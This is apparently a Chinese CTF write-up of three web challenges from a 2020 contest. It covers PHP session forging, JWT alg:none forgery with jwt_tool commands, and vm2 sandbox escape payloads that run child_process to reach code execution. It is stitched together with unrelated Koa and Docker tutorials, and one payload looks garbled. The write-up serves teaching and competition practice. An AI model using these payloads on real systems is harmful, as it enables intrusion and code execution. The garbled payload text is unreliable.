文是i春秋论坛作家「OPLV1H」表哥参加2020数字中国创新大赛-虎符网络安全赛道线上初赛的赛后总结,关于Web的Writeup记录,感兴趣的小伙伴快来学习吧。
1、hash_file — 是使用给定文件的内容生成哈希值,和文件名称无关。
2、jwt令牌结构和jwt_tools的使用。
3、nodejs沙箱溢出进行Getshell。
正 文
Web 1 BabyUpload
直接贴出源码
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
题目大概的逻辑就是先将session存储在/var/babyctf/中,如果session['username']==='admin',并且file_exists('/var/babyctf/success.txt')存在,则会显出flag了,注意这里是file_exist函数。
等于说是检查有没有这个路径或者文件,这里为后面做了铺垫。接下来就是提供了上传和下载两个功能,这里存在一处暗示性的代码:
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
因为我们知道,session默认的存储名称为sess_XXXXX(为PHPSESSID的值),那么我们先结合download来看一下自己的session,因为服务器端存储的session内容以及格式我们并不知道,查看一下自己的PHPSESSID对应的session。
这里session内容的格式具有一定的迷惑性,查看hex发现前面还藏了个0x08的不可见字符,我们如果想要构造时也需要修改第一个字符为不可见的0x08,有下载也有上传,而且需要session['username']===admin,因此我们应该需要构造并且上传一个session,并且知道其对应的PHPSSEID,再回到暗示性代码上:
文件路径为/var/babyctf/filename_xxxxxx(此处我们知道上传的内容,因此这部分可控)因此我们如果将filename设为sess,那不就直接成为session文件了吗,再利用得到的xxxxx替换原来的PHPSESSID,这样就能die出flag了。
步骤一:构造sess文件
sess文件的内容直接将guest改为admin即可,但注意需要用winhex将第一个字符改成0x08。
<html>
<head>
<title></title>
</head>
<body>
<form action="http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn" method="post" enctype="multipart/form-data">
<input type="text" name="attr" />
<br>
<input type="text" name="direction" />
<br>
<input type="file" name="upload_file" />
<br>
<input type="submit" />
</body>
</html>
将sess上传:
我们可以根据上述download一样,查看一下是否已经成功上传了sess_xxxx文件。
步骤三:根据hash_file构造的文件(即PHPSESSID值)进行替换原来的PHPSESSID得到flag。
Web 2 EasyLogin
直接给登录框了,首先进行万能密码和扫描目录的尝试,没有收获,接下来F12查看源代码,发现/static/js/app.js,果然存在,贴下源码:
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');
const crypto = require('crypto');
const { resolve } = require('path');
const rest = require('./rest');
const controller = require('./controller');
const PORT = 3000;
const app = new Koa();
app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
// parse request body:
app.use(bodyParser());
// prepare restful service
app.use(rest.restify());
// add controllers:
app.use(controller());
app.listen(PORT);
console.log(`app started at port ${PORT}...`);
可知还存在rest.js和controller.js,看这两个又能发现/controllers/api.js,贴一下关键的代码:
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
这就涉及到知识盲区了,后来复现发现是jwt的相关知识,在这里整理一下:
JSON Web令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔,分别是:
因此,JWT通常形式是xxxxx.yyyyy.zzzzz。
头部(Header)
头部用于描述关于该JWT的最基本的信息,通常由两部分组成:令牌的类型(即JWT)和所使用的签名算法。
例如:
{"alg": "HS256","typ": "JWT"}
然后,此JSON被Base64Url编码以形成JWT的第一部分。
有效载荷(Payload)
令牌的第二部分是载荷,放置了 token 的一些基本信息,以帮助接受它的服务器来理解这个 token。同时还可以包含一些自定义的信息,用户信息交换。
载荷示例可能是:
{"sub": "1234567890","name": "John Doe","admin": true}
然后,对载荷进行Base64Url编码,以形成JSON Web令牌的第二部分。
签名(Signature)
要创建签名部分,您必须获取编码的头部,编码的有效载荷,密钥,头部中指定的算法,并对其进行签名。
例如,如果要使用HMAC SHA256算法,则将通过以下方式创建签名:
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
签名用于验证消息在整个过程中没有更改,并且对于使用私钥进行签名的令牌,它还可以验证JWT的发送者是它所说的真实身份。
但是在这里却存在个问题,const secret = global.secrets[sid];这里通过全局变量设置了一个secret并作为密钥进行签名,而签名算法保证了JWT在传输的过程中不被恶意用户修改但是header中的alg字段可被修改为none,一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验。
但是签名不是我们能够直接控制的,但是sid我们是可以控制的,如果在这里我们将sid设置为0.1,可以成功满足条件并绕过,使得secret是不存在的,也就是null。这里就能直接使用jwt_tools进行生成。
而我们知道有关jwt token的攻击方法其实分为三种:
1、将签名算法改为none
2、将RS256算法改为HS256(非对称密码算法=>对称密码算法)
3、破解HS256(对称加密算法)密钥
这里说明一下jwt-tools的用法
破解密钥(HMAC算法)
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
尝试使用“无”算法来创建未验证的令牌:
python3 jwt_tool.py JWT_HERE -A
我们可以交互方式篡改标头,有效负载和签名:
$python3 jwt_tool.py JWT_HERE(jwt token) -T
得到jwt
token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IjAuMiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4NzU2MDY0Nn0
只需要修改有效负载,然后最后将标头alg设为none,就会得到篡改后的jwt token,此时服务器也不会使用签名校验,这样就成功伪造admin,就能调用api/getflag( ),得到flag。
Web 3 JustEscape
这个题移花接木,得到run.php后告诉你:
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
随便输个函数却给我返回SyntaxError,欺负我没学过JS。不过结合前文提示,确实不是PHP,而是nodejs写的,这就涉及到知识盲区了,没错全是知识盲区。复现后才知道,原来nodejs是有沙箱逃逸的,可以google hack出HackIM 2019 Web的一道题和这个题类似。
解法1
这里我们需要知道加载的模块,根据google hack学到的,code=Error( ).stack
的确是设置了vm的模块,直接去github上找vm2有的issues,然后试试。找到了几个,payload一打过去,全给我搞出键盘,类比python沙箱逃逸,应该也是ban了一些函数,和其他大佬讨论发现既然是禁函数,那如果我code设置为数组,不是就可以绕过禁函数了吗?
接下来直接开找,issues上是breakout的应该都是能逃逸的payload,结果发现:
说是非法return,那就删掉return试试,发现能够成功逃逸,实现RCE。最后flag在根目录下,直接读取即可。
payload:?code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}
解法2
类比python的沙箱逃逸,如果一些进制转换的函数没有被禁止,我们应该是可以通过一些拼接来得到一些命令,还是能够绕过实行RCE。这里学习了其他大佬的解法,发现可以通过十六进制编码来进行关键字绕过:
即将一些关键字来进行16进制编码:(vm2仓库下的issues里面将关键字编码成16进制)
payload=(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`]=f=>fx63x6fx6ex73x74x72x75x63x74x6fx72();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){returne[x67x65x74x5fx70x72x6fx63x65x73x73](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))x65x78x65x63x53x79x6ex63.toString();}})()
注:文章素材来源于i春秋社区, 以上是个人关于本次比赛的一些解题思路,欢迎交流补充。
js
中文官网 https://ejs.bootcss.com/
npm https://www.npmjs.com/package/ejs
github https://github.com/mde/ejs
官网 http://ejs.co/
npm install --save ejs
下面接着创建package.json
npm init
网址 https://koa.bootcss.com/
github https://github.com/koajs/koa
官网 https://koajs.com/
npm https://www.npmjs.com/package/koa
npm --install --save koa
koa2基础
架设http服务器
const koa = require('koa');
const app = new koa();
app.listen(3000);
输入网址 http://127.0.0.1:3000/ 即可完成假设
输出hello world
const koa = require('koa');
const app = new koa();
const main = ctx => {
ctx.response.body = "hello world";
}
app.use(main);
app.listen(3000);
上方是回调,将会使用main,main进行回调一个匿名函数,完成body的设置。
ctx.response
代表着一个http的请求
不同的请求返回不同的类型
const koa = require('koa');
const app = new koa();
const main = ctx => {
if (ctx.request.accepts('xml')) {
ctx.response.type = 'xml';
ctx.response.body = '<data>hello world</data>';
} else if (ctx.request.accepts('json')) {
ctx.response.type = 'json';
ctx.response.body = {'data': 'hello world'};
} else if (ctx.request.accepst('html')) {
ctx.response.type = 'html';
ctx.response.body = '<p>hello world</p>'
} else {
ctx.response.type = 'text';
ctx.response.body = 'hello world';
}
}
app.use(main);
app.listen(3000);
ps 使用https://www.getpostman.com/ 编辑http请求,发送http请求
即可完成。
网页模板
使用fs模块,使用流,将客户端和文件之间建立流的关系,然后将其对接
const koa = require('koa');
const fs = require('fs');
const app = new koa();
const main = ctx => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('./index.html'); // 创建一个流,将流进行对接
}
app.use(main);
app.listen(3000);
路由
ctx.request.path
ctx.request.path 外加if语句实现路由
使用koa-route
继续下载
npm install --save koa-route
编写代码
const koa = require('koa');
const route = require('koa-route');
const app = new koa();
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>'
}
const main = ctx => {
ctx.response.type = 'html';
ctx.response.body = 'hello world'
}
app.use(route.get('/', main));
app.use(route.get('/about', about));
app.listen(3000);
访问
http://127.0.0.1:3000/about
http://127.0.0.1:3000/
完成路由
静态资源
koa-static
npm https://www.npmjs.com/package/koa-static
接着下载安装
npm i koa-static
编写入口文件。
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 静态资源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
app.use(route.get('/about', about));
app.use(static);
app.listen(3000);
访问 http://127.0.0.1:3000/1.png 将会返回public下的1.png文件
访问 http://127.0.0.1:3000/about 将会被路由进行捕获
重定向
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 静态资源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
const redirect = ctx => {
ctx.response.redirect('/');
ctx.response.body = '<a href="/">Index Page</a>'
};
app.use(route.get('/about', about));
app.use(route.get('/redirect', redirect));
app.use(static);
app.listen(3000);
上方完成了一次页面的跳转
中间件
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 静态资源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
const redirect = ctx => {
ctx.response.redirect('/');
ctx.response.body = '<a href="/">Index Page</a>'
};
const main = ctx => {
ctx.response.body = 'hello world';
}
// 中间件
const logger = (ctx, next) => {
console.log('info!')
next(); // 继续调用下一个中间件
}
app.use(logger);
app.use(route.get('/', main));
app.use(route.get('/about', about));
app.use(route.get('/redirect', redirect));
app.use(static);
app.listen(3000);
上方的加载所有的都会使用一个中间件
中间件栈
中间件栈实现的是一个先进后出
PS C:\Users\mingm\Desktop\ejs> node index.js
> one
> two
> three
< three
< two
< one
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 静态资源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
const redirect = ctx => {
ctx.response.redirect('/');
ctx.response.body = '<a href="/">Index Page</a>'
};
const main = ctx => {
ctx.response.body = 'hello world';
}
// 中间件
const one = (ctx, next) => {
console.log('> one');
next(); // 装载下一个中间件
console.log('< one');
}
const two = (ctx, next) => {
console.log('> two');
next();
console.log('< two');
}
const three = (ctx, next) => {
console.log('> three');
next();
console.log('< three');
}
app.use(one);
app.use(two);
app.use(three);
app.use(route.get('/', main));
app.use(route.get('/about', about));
app.use(route.get('/redirect', redirect));
app.use(static);
app.listen(3000);
异步
是滴,node.js最重要的是异步,以及回调
es7的异步函数
一段代码直接说明
function resolveAfter2Seconds() {
return new Promise(resolve => {
setTimeout(() => {
resolve('resolved');
console.log('我是执行结果4')
}, 2000);
});
}
async function asyncCall() {
console.log('calling');
console.log('我是执行结果3')
var result = await resolveAfter2Seconds();
console.log(result);
console.log('我是执行结果2');
// expected output: 'resolved'
}
asyncCall();
console.log('我是执行结果1');
输出结果为
> "calling"
> "我是执行结果3"
> "我是执行结果1"
> "我是执行结果4"
> "resolved"
> "我是执行结果2"
运行过程为先运行函数asyncCall,接着输出calling和结果3,继续到await语句的时候,为一个回调的语句,此时主线程,因为遇到await语句,将会直接进行输出执行结果1的内容,等待着resolveAfter2Seconds后执行完毕,进行回调。(Promise 对象为一个暂时保存回调内容的一个对象)Promise对象将会暂时保存运行的结果,运行结果为结果4和resolved,等待执行完毕以后,将会把暂时保存的内容,赋值给result变量,由于此时已经执行完毕,将会继续运行下方的内容,输出result中的内容,result中的内容为异步的执行的内容,接着,输出结果2,完成运行。
koa2中运行异步
const koa = require('koa');
const fs = require('fs');
const app = new koa();
const server = require('koa-static'); // 静态资源
const route = require('koa-route');
// 路由处理函数
const static = server(__dirname + '/public');
const main = async ctx => {
ctx.response.type = 'html';
console.log('one one one one');
ctx.response.body = await file();
console.log('one one one');
};
// 异步函数
function file() {
return new Promise((resolve, reject) => {
fs.readFile('./index.html', 'utf8', (err, data) => {
if (err) {
reject(console.log(err));
} else {
resolve(data);
console.log('one one');
}
})
})
}
// 中间件
const one = async (ctx, next) => {
console.log('one');
await next();
console.log('one one one one one one ')
}
app.use(one);
app.use(route.get('/', main));
console.log('one one one one one one ')
app.use(static);
app.listen(3000);
结果
oen one one one one
one
one one one one
one one
one one one
one one one one one one
所有的都要使用异步操作,
由于全部都是异步,将会先调用最后的一个,
接着 调用中间件的内容。
由于中间件也为异步,将会继续异步main,
由于main也为异步,将会调用异步函数file中的内容。
接着,按照上面的顺序倒着回来,最后完成中间件
ps 由于中间件的异步,这样就成功的模拟的中间件的正常的模型
正常的中间件
const koa = require('koa');
const app = new koa();
const main = ctx => {
ctx.response.type = 'html';
console.log('3')
ctx.response.body = '<h1>hello world</h1>'
console.log('4');
};
const one = (ctx, next) => {
console.log('info!');
console.log('1')
next();
console.log('2')
}
app.use(one);
app.use(main);
app.listen(3000);
运行结果
info!
1
3
4
2
先进去,等到全部执行完成以后,在出来,中间件包裹着全部
不加异步的中间件
const koa = require('koa');
const fs = require('fs');
const app = new koa();
const server = require('koa-static'); // 静态资源
const route = require('koa-route');
// 路由处理函数
const static = server(__dirname + '/public');
const main = async ctx => {
ctx.response.type = 'html';
console.log('one one one one');
ctx.response.body = await file();
console.log('one one one');
};
// 异步函数
function file() {
return new Promise((resolve, reject) => {
fs.readFile('./index.html', 'utf8', (err, data) => {
if (err) {
reject(console.log(err));
} else {
resolve(data);
console.log('one one');
}
})
})
}
// 中间件
const one = (ctx, next) => {
console.log('one');
next();
console.log('one one one one one one ')
}
app.use(one);
app.use(route.get('/', main));
console.log('oen one one one one');
app.use(static);
app.listen(3000);
运行结果
oen one one one one
one
one one one one
one one one one one one
one one
one one one
可以发现,变现的'溢出'
中间件的合成
koa-compose
npm https://www.npmjs.com/package/koa-compose
下载安装
比较简单,看文档就行。
错误处理
同try类似使用throw抛出错误。
cookies
ctx.cookies 用来读取cookies客户端发送的cookies内容
const koa = require('koa');
const app = new koa();
const route = require('koa-route');
const main = (ctx) => {
const n = Number(ctx.cookies.get('view') || 0) + 1; // 获取客户端的cookice,如果不存在,直接取0,括号内的为一个选择语句,然后将其cookice进行加1操作
ctx.cookies.set('view', n); // 发送读取到的cookice
ctx.response.type = 'html';
ctx.response.body = n + 'views'; // 将结果输出
}
app.use(route.get('/', main));
app.listen(3000);
完成操作
表单操作
即post和get操作
继续使用模块 koa-body
github https://github.com/dlau/koa-body
npm https://www.npmjs.com/package/koa-body
安装
npm i koa-body
支持json格式数据的提交哦
const Koa = require('koa');
const koaBody = require('koa-body');
const app = new Koa();
const main = ctx => {
ctx.body = JSON.stringify(ctx.request.body);
};
app.use(koaBody());
app.use(main);
app.listen(3000);
客户端发送
name=Jack
格式为
text/plain
返回的都为字符串
文件上传暂时搞不定。
ejs
需要先安装koa模板中间件
官网 https://www.npmjs.com/package/koa-views
npm install --save koa-views
index.js文件
const koa = require('koa');
const views = require('koa-views');
const path = require('path');
const app = new koa();
// 加载模板引擎
app.use(views(path.join(__dirname, './view'), { extension: 'ejs' }));
const main = async ctx => {
let title = 'hello';
await ctx.render('index', {title})
}
app.use(main);
app.listen(3000);
view下的index.ejs文件
<!doctype html>
<html>
<head>
<title><%= title %></title>
</head>
<body>
<h1><%= title %></h1>
<p>hello world</p>
</body>
</html>
访问http://127.0.0.1:3000/
内容完成动态的更新
ps 上传文件还是不太会,无奈
docker容器的出现,彻底的改变了应用程序的运行方式,而nodejs同样的也颠覆了后端应用程序的开发模式。两者结合起来,就会产生意想不到的作用。
本文将会以一个常用的nodejs程序为例,分析怎么使用docker来构建nodejs image.
一个标准的nodejs程序,需要一个package.json文件来描述应用程序的元数据和依赖关系,然后通过npm install来安装应用的依赖关系,最后通过node app.js来运行程序。
本文将会创建一个简单的koa应用程序,来说明docker的使用。
首先创建package.json文件:
{
"name": "koa-docker",
"description": "怎么将nodejs koa程序打包成docker应用",
"version": "0.0.1",
"dependencies": {
"ejs": "^2.5.6",
"fs-promise": "^2.0.3",
"koa": "^2.2.0",
"koa-basic-auth": "^2.0.0",
"koa-body": "^4.0.8",
"koa-compose": "^4.0.0",
"koa-csrf": "^3.0.6",
"koa-logger": "^3.0.0",
"@koa/router": "^8.0.5",
"koa-session": "^5.0.0",
"koa-static": "^3.0.0",
"koa-views": "^6.0.2"
},
"scripts": {
"test": "NODE_ENV=test mocha --harmony --reporter spec --require should */test.js",
"lint": "eslint ."
},
"engines": {
"node": ">= 7.6"
},
"license": "MIT"
}
上面的package.json文件制定了项目的依赖。
接下来,我们需要使用npm install来安装项目的依赖,安装好的项目依赖文件将会放在本地的node_modules文件夹中。
然后我们就可以编写服务程序了:
const Koa = require('koa');
const app = module.exports = new Koa();
app.use(async function(ctx) {
ctx.body = 'Hello www.flydean.com';
});
if (!module.parent) app.listen(3000);
上面是一个非常简单的koa服务端程序,监听在3000端口,并且对每次请求都会返回‘Hello www.flydean.com’。
运行node app.js 我们就可以开启web服务了。
好了,我们的服务程序搭建完毕,接下来,我们看一下docker打包nodejs程序的最佳实践。
为了创建docker image,我们需要一个Dockerfile文件,作为该image的描述。
我们一步一步的讲解,如何创建这个Dockerfile文件。
为了运行docker程序,我们需要指定一个基本的image,比如操作系统,node为我们提供了一个封装好的image,我们可以直接引用:
FROM node:12
我们指定了node的12版本,这个版本已经安装好了最新的LTS node 12,使用这个image我们就可以不需要自己来安装node的相关环境,非常的方便。
有了image,接下来就需要我们指定docker中的工作目录:
# Create app directory
WORKDIR /data/app
接下来我们需要将package*.json文件拷贝进image中,并且运行npm install来安装依赖库:
COPY package*.json ./
RUN npm install
上面我们拷贝的是package*.json,因为如果我们本地运行过npm install命令的话,将会生成一个pacakge-lock.json文件。这个文件是为了统一依赖包版本用的。我们需要一并拷贝。
拷贝完之后就可以运行npm install来安装依赖包了。
问题?为什么我们只拷贝了pacakge.json,而不是拷贝整个工作目录呢?
回答:docker file中的每一个命令,都会导致创建一个新的layer,上面的docker file中,只要pakage.json没有被修改,新创建的docker image其实是可以共享layer缓存的。
但是如果我们直接添加本地的工作目录,那么只要我们的工作目录有文件被修改,会导致整个docker image重新构建。所以为了提升构建效率和速度,我们只拷贝package.json。
最后的工作就是拷贝应用程序app.js然后运行了:
# 拷贝应用程序
COPY app.js .
# 暴露端口
EXPOSE 8080
# 运行命令
CMD [ "node", "app.js" ]
最后,我们的dockerfile文件应该是这样的:
FROM node:12
# Create app directory
WORKDIR /data/app
COPY package*.json ./
RUN npm install
# 拷贝应用程序
COPY app.js .
# 暴露端口
EXPOSE 8080
# 运行命令
CMD [ "node", "app.js" ]
我们知道git会有一个.gitignore文件,同样的docker也有一个.dockerignore文件,这个文件的作用就是避免你的本地文件被拷贝到docker image中。
node_modules
比如我们可以在其中指定node_modules,使其不会被拷贝。
创建docker image很简单,我们可以使用下面的命令:
docker build -t flydean/koa-web-app .
创建完毕之后,我们可以使用docker images来查看刚刚创建好的image :
docker images
# Example
REPOSITORY TAG ID CREATED
node 12 1934b0b038d1 5 days ago
flydean/koa-web-app latest d64d3505b0d2 1 minute ago
最后,我们可以通过docker run命令来运行应用程序
docker run -p 54321:8080 -d flydean/koa-web-app
然后我们就可以通过本地的54321端口来访问应用程序了。
这里我们来探讨一下创建docker image需要注意的事项。
默认情况下,docker中的应用程序会以root用户来运行,为了安全起见,建议大家以普通用户来运行应用程序,我们可以在docker file中指定:
FROM node:12
...
# 在最后,以node用户来运行应用程序
USER node
或者我们在运行的时候以 -u “node” 作为启动参数来指定运行的用户。
docker run \
-u "node"
flydean/koa-web-app
node的应用程序很多时候需要依赖于NODE_ENV来指定运行时环境,我们可以以参数的形式传递给docker run命令:
docker run \
-e "NODE_ENV=production"
flydean/koa-web-app
本文作者:flydean程序那些事
本文链接:http://www.flydean.com/nodejs-docker-best-practices/
本文来源:flydean的博客
欢迎关注我的公众号:「程序那些事」最通俗的解读,最深刻的干货,最简洁的教程,众多你不知道的小技巧等你来发现!
*请认真填写需求信息,我们会在24小时内与您取得联系。